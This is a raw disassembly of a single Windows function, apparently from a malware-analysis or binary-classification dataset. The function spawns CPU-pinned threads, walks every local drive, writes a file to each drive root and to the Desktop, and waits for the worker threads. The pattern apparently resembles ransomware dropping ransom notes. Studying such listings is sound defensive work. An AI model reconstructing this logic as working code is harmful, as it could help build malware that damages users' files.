Function at 0x406860
Capabilities:
Create thread
Get common file path
Get disk information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1224
call fcn.00414fd0
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov edx, 4
push edi
xor ecx, ecx
mov dword [ebp - 0x1218], esi
mov edi, dword [esi + 0x18]
add edi, dword [esi + 0x14]
mov eax, edi
mov dword [ebp - 0x121c], edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ebx, ebx
mov dword [ebp - 0x1214], eax
test edi, edi
jle 0x406913
mov ecx, 0x407800
cmp ebx, dword [esi + 0x14]
mov eax, 0x4078b0
push 0
push 0
push esi
cmovb eax, ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
xor edx, edx
mov eax, dword [ebp - 0x1214]
mov dword [eax + ebx*4], edi
mov eax, ebx
div dword [esi + 0x10]
mov esi, 1
mov ecx, edx
shl esi, cl
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov esi, dword [ebp - 0x1218]
inc ebx
mov ecx, 0x407800
cmp ebx, dword [ebp - 0x121c]
jl 0x4068c1
lea eax, [ebp - 0x120c]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp word [ebp - 0x120c], 0
lea ebx, [ebp - 0x120c]
je 0x406ab2
nop dword [eax]
push 0x10000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
movq xmm0, qword [str.__]
mov esi, eax
mov edx, ebx
mov dword [ebp - 0x1224], esi
movq qword [esi], xmm0
mov cx, word [0x41b01c]
mov word [esi + 8], cx
mov ecx, edx
mov dword [ebp - 0x1220], ecx
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x406980
sub edx, ecx
lea edi, [esi - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x406990
mov esi, dword [ebp - 0x1220]
mov ecx, edx
push dword [ebp - 0x1224]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 5
je 0x406a8f
cmp eax, 4
je 0x406a8f
cmp dword [0x428572], 0
je 0x406a7e
push 0
push 0
push 0x103
lea eax, [ebp - 0x108]
push eax
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x428976
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [0x428572]
lea eax, [ebp - 0x20c]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x1210], 0
cmp esi, 0xffffffff
jne 0x406a57
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x406a7e
push 0
lea eax, [ebp - 0x1210]
push eax
push edi
push 0x428576
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x406a77
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1224]
mov ecx, dword [ebp - 0x1218]
call fcn.00406c30
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406a94
sub eax, edx
sar eax, 1
lea ebx, [ebx + eax*2]
add ebx, 2
cmp word [ebx], cx
jne 0x406940
mov eax, dword [ebp - 0x1218]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ebx, dword [ebp - 0x121c]
xor esi, esi
lea eax, [ebx + 0x3f]
cdq
and edx, 0x3f
add eax, edx
sar eax, 6
mov dword [ebp - 0x1210], eax
test eax, eax
jle 0x406b24
mov edi, dword [ebp - 0x1214]
lea ecx, [eax - 1]
mov dword [ebp - 0x1220], ecx
nop
push 0xffffffffffffffff
cmp esi, ecx
mov eax, 0x40
push 1
cmove eax, ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, dword [ebp - 0x1220]
inc esi
sub ebx, 0x40
add edi, 0x100
cmp esi, dword [ebp - 0x1210]
jl 0x406af0
mov ebx, dword [ebp - 0x121c]
mov edi, dword [ebp - 0x1214]
xor esi, esi
test ebx, ebx
jle 0x406b4a
mov eax, dword [edi + esi*4]
test eax, eax
je 0x406b45
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + esi*4], 0
inc esi
cmp esi, ebx
jl 0x406b30
test edi, edi
je 0x406b5e
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x428572], 0
je 0x406c1d
push 0
push 0x10
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x406c1d
push 0x428976
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push 0x41b038
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [0x428572]
lea eax, [ebp - 0x108]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x1210], 0
cmp esi, 0xffffffff
jne 0x406bf6
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407f82
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x1210]
push eax
push edi
push 0x428576
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x406c16
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407f82
mov esp, ebp
pop ebp
ret